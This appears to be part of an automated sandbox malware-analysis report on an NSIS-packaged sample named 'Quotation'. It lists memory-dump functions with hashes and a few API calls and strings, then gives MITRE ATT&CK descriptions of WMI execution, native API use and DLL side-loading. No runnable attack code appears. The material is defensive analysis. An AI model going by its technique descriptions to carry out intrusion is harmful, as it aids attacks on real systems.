Opcode Fuzzy Hash: 5300ced4abdc7ed422022ee32ef018a62bb031ea733653e11c8e7095c6ebbcff
Instruction Fuzzy Hash: 9C2160746442046BEF60DB28D899B9A3FA6FB4DB20F104A26D005D7762DF28DC428BA5

Function 000AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596564201.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ad000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97161ba8bf3e380088d7b2f881d90c29d5cf7436b2050eaf214198180035e871
Instruction ID: f3e8c2315eb9c1874b770f8d1def1bc44dc4ac1f0839166b50948cf96b2e541d
Opcode Fuzzy Hash: 97161ba8bf3e380088d7b2f881d90c29d5cf7436b2050eaf214198180035e871
Instruction Fuzzy Hash: 08210771504304EFDB24CF60D9C4F26BBA1FB85314F24C66EE94A4B642C736D846CA62

Function 000D1878 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c8626de99a8ea5e886c9f98d447060d5de433d3a83b66378a5af8111fb72e4
Instruction ID: add246bc2ae6b229cb23887f070e64695d82f004afe66c2cfefcec865a2a8e7f
Opcode Fuzzy Hash: e8c8626de99a8ea5e886c9f98d447060d5de433d3a83b66378a5af8111fb72e4
Instruction Fuzzy Hash: 89212730B003499FDB64EB68C5296EEB7F2AF49304F20046AD105EB391EF369D41CB61

Function 000D1888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78bcf63ca13e4a6bbfa57a955475bdc5c149b7c025577c2b865e72ec1046ad43
Instruction ID: 2e4e94eb47a578e069984243845c7daf1c76ee1b66881b5bf21fe73a95e0bddf
Opcode Fuzzy Hash: 78bcf63ca13e4a6bbfa57a955475bdc5c149b7c025577c2b865e72ec1046ad43
Instruction Fuzzy Hash: DC212A30B003499FDB64EB68C5697EE77F2AB49300F20046AD106EB391DF769D41CBA1

Function 000D16B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4abc8bc18e0830ee9c979db36b0aa22158571182dc2526b98b73ca82a6ddf9
Instruction ID: 8f1ca1a338003e56fa05cf6922ac54f60860b750a52f57027adcc03bdb33b6f7
Opcode Fuzzy Hash: bb4abc8bc18e0830ee9c979db36b0aa22158571182dc2526b98b73ca82a6ddf9
Instruction Fuzzy Hash: 6D2133746442046BDF60D72CD899B993FE6FB4DB20F104626D005D7766DF38DC428BA5

Function 392B6DB8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f48f24b06aec3e39f27fae5b1639fec143404fd0681e075aea280496241810
Instruction ID: 35fcecfcb080f937b62b8c4ff78a6aa62d5e667ebfbef272bfafd9ebc313d159
Opcode Fuzzy Hash: d5f48f24b06aec3e39f27fae5b1639fec143404fd0681e075aea280496241810
Instruction Fuzzy Hash: BB21A234B009559BEF04DA6DE955A8EBBF6FB883A0F148529E405EB340DB35ED018BD0

Function 000D17C0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f60e7e14734f7cd5e74b1ab55169ffc699ce89c47c673eaaaf0b5e4f3443ec9
Instruction ID: e48656794e51f4bdf07240524c13b3c7542046b95d6debccd15ae2b70414c43e
Opcode Fuzzy Hash: 1f60e7e14734f7cd5e74b1ab55169ffc699ce89c47c673eaaaf0b5e4f3443ec9
Instruction Fuzzy Hash: CD113075F003519BCB109BBD980869E7BF9FB48750B10052AE50AE7750EF359D42DBA1

Function 392B3C68 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9c3bf93e9719b87d73afcbf4b55f40ec673b8736143e4b8c8433e5ba833d7c4
Instruction ID: b5460746b1e2afcbd6c6d92064aefaff9251e18110b9cfd6d0ae957cb1ceffea
Opcode Fuzzy Hash: f9c3bf93e9719b87d73afcbf4b55f40ec673b8736143e4b8c8433e5ba833d7c4
Instruction Fuzzy Hash: BB118235B109194BDF14A6A9CC14AAE77EAEBC8790F108539D405EB340DFB5AC028BA0

Function 000D148A Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed86551573c2dbb3475c4cb8de2c0e336ce2b5817cbf109916d560ac980473ad
Instruction ID: ce5b3a6f9bee055ccd3e0216b3fc97fc9d3ca385bbb613366c867bc7bcc73511
Opcode Fuzzy Hash: ed86551573c2dbb3475c4cb8de2c0e336ce2b5817cbf109916d560ac980473ad
Instruction Fuzzy Hash: E9115E31A01315ABCB61EFB994552DE7AF5EB48310F24047BD809E7302EB35C9428BA5

Function 392B42AA Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f0f8e7fa69674e9c7dbfdf994fab9f778d9c1faa54897ac4643b6f8c17c4754
Instruction ID: 9658cf4969930d0213a2e4d8522926c39358f6ff043a3422186d0418f2e2706d
Opcode Fuzzy Hash: 4f0f8e7fa69674e9c7dbfdf994fab9f778d9c1faa54897ac4643b6f8c17c4754
Instruction Fuzzy Hash: 2F01B5357045501FEB12D67D885170E7BEADFCA750F25846AE009DB391DA65EC024791

Function 000D6BA0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde553469fff5d3e213e3c87cc1779555030f56fe91b0e5c0b9abd802a061ee9
Instruction ID: 36342f6e6e6df5051bab2ff9172875eee76212227ae15514d9fca3e092dc7c50
Opcode Fuzzy Hash: dde553469fff5d3e213e3c87cc1779555030f56fe91b0e5c0b9abd802a061ee9
Instruction Fuzzy Hash: 6C0122307002449FC714ABB890203AE7BA6EFCA710F1084BED009CB791EF358C459BA1

Function 392B3921 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7833def4f847989b068b1946466e60abde5a633afd72d3c03186b25952c692
Instruction ID: 154dcc90fb33ff269ba435ea37e149dcb5d12eb2c580fdd24312c3d9a6e23a74
Opcode Fuzzy Hash: 4a7833def4f847989b068b1946466e60abde5a633afd72d3c03186b25952c692
Instruction Fuzzy Hash: 5221E3B5D01659AFCB10CF9AD984BDEFBB4FB48314F10812AE918A7200C3746954CFA5

Function 392B3C57 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162aa98d9e7ace9d4306dfd02125452df5651480a484d4b44af13fd4ec4baa66
Instruction ID: 27b03ecd7e11a909c81648606b93970312cb1110093353028baf417aa5e136d9
Opcode Fuzzy Hash: 162aa98d9e7ace9d4306dfd02125452df5651480a484d4b44af13fd4ec4baa66
Instruction Fuzzy Hash: C901F936B018544BEF15D6BDCC24AEE7BE6DBC8740F24417ED406EB240DBA4A802CBE0

Function 000AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596564201.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ad000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb3f6b3ea4c7f948b5930e0f5b35f24b9d5dc708ab96ac67f7f3367d8e482390
Instruction ID: c131f3b65a4ee7e1f27976c6ec3e715cb29cce82a98d6c6bc032968b6491707a
Opcode Fuzzy Hash: bb3f6b3ea4c7f948b5930e0f5b35f24b9d5dc708ab96ac67f7f3367d8e482390
Instruction Fuzzy Hash: FB11D075504244DFCB11CF50C5C4B15BBA2FB45314F24C6AEE84A4B652C33AD84ACF52

Function 000D1498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e450a00b983c8a9c2af0c46ba875b26808aaae8174200c7c88a2a108e9dfaa
Instruction ID: 7ca00fe51f03ed149d75bef7b6111bae47cbc5fc83689366026a7af5aafd9114
Opcode Fuzzy Hash: f0e450a00b983c8a9c2af0c46ba875b26808aaae8174200c7c88a2a108e9dfaa
Instruction Fuzzy Hash: 0A012D31A01315ABCB61EFB894512EE7BF6EB48310F24047AD809E7302EB35C8418BA5

Function 392BEE31 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e0d198a88c4229216834c811128866bf43692c9ce779a8dea1f15c29704ce6
Instruction ID: 57d2156ddb0b12bcb23c3d6024e6debff999c0c73f9f71992fe90b2e186a59ca
Opcode Fuzzy Hash: e1e0d198a88c4229216834c811128866bf43692c9ce779a8dea1f15c29704ce6
Instruction Fuzzy Hash: EB01D4347005515FDB29DA7C98A165A77E6DFCA760F14847AE10ACF342DB29DC0287C1

Function 392B3928 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33efbe68399350effb3d5d1f7e1fbffff0b19b8bd0946151dbfa142dcee6a88
Instruction ID: 8389be723d2397a9879786fd7e26ef78bd029c617fd0456408942ccb5a5a53fd
Opcode Fuzzy Hash: a33efbe68399350effb3d5d1f7e1fbffff0b19b8bd0946151dbfa142dcee6a88
Instruction Fuzzy Hash: 8811D0B5D01619AFCB00CF9AD884BDEFBB4FB48324F10812AE918A7340D374A954CFA5

Function 392B42B8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f62cb892e43f3f526ab61ca584b43a6ce5d180296ce0ed1d5c7f84844bd7a01d
Instruction ID: 134c90ab7eee7fe86a68841958b82373405e456c05767a4675c0fb31539a7cef
Opcode Fuzzy Hash: f62cb892e43f3f526ab61ca584b43a6ce5d180296ce0ed1d5c7f84844bd7a01d
Instruction Fuzzy Hash: C501F4347004151BEB10D6AEC856B0FB3DADBC97A0F20893AF00ADB381EEA5EC034795

Function 392BEE40 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a26849b06e61fc538a6c8b2dda3232d9fe772e2c7251ca5d6dff1de9179054
Instruction ID: eecf9fdd5a37a8df531f18e00f1e6c8b1db83a15c05ffee06be4485a7f0b03d8
Opcode Fuzzy Hash: 21a26849b06e61fc538a6c8b2dda3232d9fe772e2c7251ca5d6dff1de9179054
Instruction Fuzzy Hash: AB01DC387008251BEB29D67C9992B1F77E6DBC97A0F108839F20ACB340DE25EC0203C1

Function 000DFEE8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837ee5823d7bf0ad528078ed14d357e20b765e245d2c868bf9db8ab4c92b97fb
Instruction ID: 8c35d951f0308fdf34c3a2b884a114153bf2a083e0d3a668014850301980b22a
Opcode Fuzzy Hash: 837ee5823d7bf0ad528078ed14d357e20b765e245d2c868bf9db8ab4c92b97fb
Instruction Fuzzy Hash: 3A11E570A40348EFD701DFB8D456B9D7FB2EF8A700F2081A9C504AB692DA341E029B51

Function 392BA3A8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b4d241632be5866a863ab79df0c2a23a36163cf1253811297a3bf0abe32aad2
Instruction ID: 318dfbc4b144d18f27f7adc732a1baaf75083d715c64e543021ba7c95cd0574f
Opcode Fuzzy Hash: 4b4d241632be5866a863ab79df0c2a23a36163cf1253811297a3bf0abe32aad2
Instruction Fuzzy Hash: ED01A4347005255FEB24D67CC96671F7BE6DB89791F108439F10ADB341EE65ED024B80

Function 392BC878 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7b3a2aafcfe45de3aa4e035042a179c066117d5093cd852d14132844672d55
Instruction ID: 4735346b26561e7bced2dc1c87a6c6b754238c5d262588fba4db301bdd37818e
Opcode Fuzzy Hash: cc7b3a2aafcfe45de3aa4e035042a179c066117d5093cd852d14132844672d55
Instruction Fuzzy Hash: EB01F431F102299BDF04DA69E852A8E77B5FB85390F10853AE800EB341DB32EC018BD0

Function 000DFEF8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b17731f629ed2243ae4149b27984b5abad5d0d258d7daad1b7e6661c04bdb92c
Instruction ID: ec2124d22acd0c4164f5a2de7beb83bbedb46b09958abf600f5870b2af69678a
Opcode Fuzzy Hash: b17731f629ed2243ae4149b27984b5abad5d0d258d7daad1b7e6661c04bdb92c
Instruction Fuzzy Hash: 46015270A40208EBD705EFB9C456B9DBBB2FB89710F208168D5056B695EE705E029B51

Function 000DF8B0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9899bf7cec477a20f2cb276c6a630eca6c6616ed21c1432bd28c45557fb7f5ff
Instruction ID: 5129f166efded92d43f54242b08bc303a863f3a37f996f99ef38767d62eb8924
Opcode Fuzzy Hash: 9899bf7cec477a20f2cb276c6a630eca6c6616ed21c1432bd28c45557fb7f5ff
Instruction Fuzzy Hash: A8F09E113093445FD70222B988307AB3FBEAFCB251B1540B7E106CB641DD91DC0153F2

Function 000DF2F0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23f8a1955472d85ffd1c89fe7f1c5c9c115197bfc9b39274a0ac1ee374825923
Instruction ID: 86aab7f44b60d08f5e4ddcfc535eac0542302fbd4b7412dcd04dc9a71c46ae96
Opcode Fuzzy Hash: 23f8a1955472d85ffd1c89fe7f1c5c9c115197bfc9b39274a0ac1ee374825923
Instruction Fuzzy Hash: 12F0A02130431A67E61026A94824B7F63AAABC97A0B208437F107D7740EDA5DC0226BB

Function 000D7EB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec874176764f47400eedcb13308ee189f4ed6c6de24abf58e3f4e18c66fbd253
Instruction ID: ed40077c8c3e03c71588cf61c6a66b42e90d50fb15e8e7e7afe12a221970c016
Opcode Fuzzy Hash: ec874176764f47400eedcb13308ee189f4ed6c6de24abf58e3f4e18c66fbd253
Instruction Fuzzy Hash: 09F0E735B40118CFDB04DB78D9A8B6D7BB2EF88715F5040A9E5069B7B0DB34AC42CB50

Function 392BAFB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76e1ab671561b21912a1d43739fdf4b2ad832d501960a896167ffd6f2e10e6a7
Instruction ID: c6e9cc1b7757fc98243d4b23d06ef6fc24c3d0a8eac3d222613a42020b2fe851
Opcode Fuzzy Hash: 76e1ab671561b21912a1d43739fdf4b2ad832d501960a896167ffd6f2e10e6a7
Instruction Fuzzy Hash: E4F05C76E0065D8BFF208569C4017CEBBE9E7443A1F00043BE50AEB240D272AC018781

Function 392B6519 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a886ef4e71d9042c729f9979b5918e62676eba37cc82605641bba4c98919e1c1
Instruction ID: 18831008c8c014df093df5d4648260b331d1f37eac07cfe769d0b486d4ad5a9f
Opcode Fuzzy Hash: a886ef4e71d9042c729f9979b5918e62676eba37cc82605641bba4c98919e1c1
Instruction Fuzzy Hash: F4E0D879D055896EEF00CE70864578F7BE8DB02294F2485EAC406DF106D175D9018700

Function 000DE6E8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e8bf4bd4587a1616ee4bb1988faf79ab0bd14420607765a45d0047549cd2c2
Instruction ID: e3abe7aea25d1bdf9414f7335187264eee46fc766adac4b1a45b0feb37d93cfe
Opcode Fuzzy Hash: 33e8bf4bd4587a1616ee4bb1988faf79ab0bd14420607765a45d0047549cd2c2
Instruction Fuzzy Hash: 52D02B2590CB982FE377A628E454B663BD45B45344F04419AE45BCB643C6C00C558390

Function 000DE6F8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6578a9ecfbaf2ca3251c331e4a4b160945dad2836ba103d43da96f4fcc2a9f
Instruction ID: a103d0d52485ce5d32066a5238e9ce04ab6f781a9ebe0ca62e87cb409e4876ec
Opcode Fuzzy Hash: 9c6578a9ecfbaf2ca3251c331e4a4b160945dad2836ba103d43da96f4fcc2a9f
Instruction Fuzzy Hash: FCD0A734609B54DBC375EA59D104757B7D9BB48714B84545AE04B87F40CBA0FC0187D0

Non-executed Functions

Function 004036DA Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008001), ref: 004036F6
GetVersionExW.KERNEL32(?), ref: 0040371F

Strings

UXTHEME, xrefs: 004037CE, 004037D3, 004037D9
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004036E6
NSIS Error, xrefs: 00403840

Memory Dump Source

Source File: 00000005.00000002.2597019906.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2596978642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597064403.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597082588.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597201634.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Quotation.jbxd

Similarity

API ID: ErrorModeVersion
String ID: Error writing temporary file. Make sure your temp folder is valid.$NSIS Error$UXTHEME
API String ID: 3050056751-1170945346
Opcode ID: 3492d16e7cd3d864a73ca6f3751150f47a45c6dad39efc7e233a49914b035e7a
Instruction ID: 04f03ee53333af138268126fb18566c4da9f6100b8f71d1fbc27ece8fdb1561f
Opcode Fuzzy Hash: 3492d16e7cd3d864a73ca6f3751150f47a45c6dad39efc7e233a49914b035e7a
Instruction Fuzzy Hash: CF3104B0504350AFD310AF659D95BBB3AE8EB85305F40443FF8C6BB2C1DA7C89448B6A

Function 0040617C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
wsprintfW.USER32 ref: 004061CF
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

UXTHEME, xrefs: 0040618B
\, xrefs: 004061A4
%s%S.dll, xrefs: 004061C9

Memory Dump Source

Source File: 00000005.00000002.2597019906.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2596978642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597064403.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597082588.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597201634.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Quotation.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction ID: a4cd9840ceca3203298f5f6208b2692cfaa140b5cc7ad0efff7adaa08ca45ff7
Opcode Fuzzy Hash: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction Fuzzy Hash: CEF0BB7190161457D710B764DE0DB9A367CEB10304F54447A6646F62C1EB7C9A54C79C

Function 004068C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EE,0000000B), ref: 004068D2
GetProcAddress.KERNEL32(00000000), ref: 004068EE

Part of subcall function 0040617C: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
Part of subcall function 0040617C: wsprintfW.USER32 ref: 004061CF
Part of subcall function 0040617C: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

UXTHEME, xrefs: 004068C4, 004068D1, 004068DC
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004068C5

Memory Dump Source

Source File: 00000005.00000002.2597019906.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2596978642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597064403.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597082588.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2597201634.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Quotation.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: Error writing temporary file. Make sure your temp folder is valid.$UXTHEME
API String ID: 2547128583-890815371
Opcode ID: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction ID: cca553acf36b1fe6902a80dcde2ed56f94a70d609a724c5234c7087bacb34bc4
Opcode Fuzzy Hash: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction Fuzzy Hash: FDD02B331022159BC7002F22AE0894F776DEF66350701403BF541F2230EB38C82295FD

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
